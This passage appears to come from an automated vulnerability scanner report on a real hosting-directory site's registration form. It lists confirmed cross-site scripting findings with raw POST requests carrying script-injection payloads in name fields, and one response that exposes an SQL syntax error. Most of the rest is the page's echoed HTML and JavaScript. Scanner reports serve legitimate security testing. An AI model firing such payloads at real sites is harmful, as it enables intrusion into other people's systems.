fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='C2892939615BE0EAE6DB602164AE26BDC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='C2892939615BE0EAC2228915B415B42C6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='C2892939615BE0EAFC809D353BED52C9C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='C2892939615BE0EAAB6D996BC6DF91F6C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='C2892939615BE0EA67FF58F3DA0D607F6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='C2892939615BE0EAAD807C6F2E41C1DEC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='C2892939615BE0EA54F1CF54C27AA342C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='C2892939615BE0EA6DA2A3126A5ECCD66F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='C2892939615BE0EA5A78B65ACDF99D04C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='C2892939615BE0EA1A9627B0B68497286F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='C2892939615BE0EA95978F5368BE3878C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='C2892939615BE0EA44299492B7DA2061C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='C2892939615BE0EA6C3071AAA57ED0FFC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='C2892939615BE0EA9E77365C916ECF73C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='C2892939615BE0EA1AF688EE83C10AE9C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='C2892939615BE0EAFB2CA537FAEB853EC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='C2892939615BE0EA76732A196426F2BB6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='C2892939615BE0EA52F54E97DD65F5696F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='C2892939615BE0EA7F19CCDE1A01C7E96F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST '"--></style></script><script>alert(0x001EB1)</script>
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 11
province POST 3
zip POST 3
country POST 12
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
deposit POST 3
promo_code POST 3
card_type POST 1
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
copy_from_cont POST 1
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 542
Accept-Encoding: gzip, deflate

company_name='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001EB1)%3c%2fscript%3e&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=11&province=3&zip=3&country=12&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&deposit=3&promo_code=3&card_type=1&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&copy_from_cont=1&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 13:59:29 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 338
Connection: close
Content-Type: text/html; charset=UTF-8


Error #1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"--></style></script><script>netsparker(0x001EB1)</script>'' at line 1 in SQL SELECT account_id FROM account WHERE company_name=''"--></style></script><script>netsparker(0x001EB1)</script>'
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST "><script>alert(9)</script>
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 11
province POST 3
zip POST 3
country POST 12
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
deposit POST 3
promo_code POST 3
card_type POST 1
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
copy_from_cont POST 1
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 503
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=%22%3e%3cscript%3enetsparker(9)%3c%2fscript%3e&last_name=Smith&address=3&address2=3&city=3&state=11&province=3&zip=3&country=12&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&deposit=3&promo_code=3&card_type=1&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&copy_from_cont=1&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 13:59:46 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='B243698350D4E65CFDCD2AAF3CDB50BDC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='B243698350D4E65C0B691E9FFA2AB1146F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='B243698350D4E65CBC6EB27D431268FCC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='B243698350D4E65C488FAFB6DE953FADC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='B243698350D4E65C3B65CD6F6B4E0E886F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='B243698350D4E65CC208ABB6AD6319A3C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='B243698350D4E65C372488783B31D4DBC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='B243698350D4E65CE7F1B0CE9F3776D66F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='B243698350D4E65C5D1F78A2F05B0006C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='B243698350D4E65C5C950F75A920FC1E6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='B243698350D4E65C0968F33AADFE5357C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='B243698350D4E65C28D5CAD6D54FDF41C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='B243698350D4E65CFCE057FA0D4407ADC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='B243698350D4E65CBF40B64EEF57CD08C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='B243698350D4E65C0097163A42ED0702C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='B243698350D4E65C9378CB819604DDE4C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='B243698350D4E65C59FE81374E4C7BE46F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='B243698350D4E65C2FCB1EB69F3FDA616F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='B243698350D4E65CAC436F4CC19B20966F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST '"--></style></script><script>alert(0x001EB3)</script>
address POST 3
address2 POST 3
city POST 3
state POST 11
province POST 3
zip POST 3
country POST 12
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
deposit POST 3
promo_code POST 3
card_type POST 1
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
copy_from_cont POST 1
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 542
Accept-Encoding: gzip, deflate

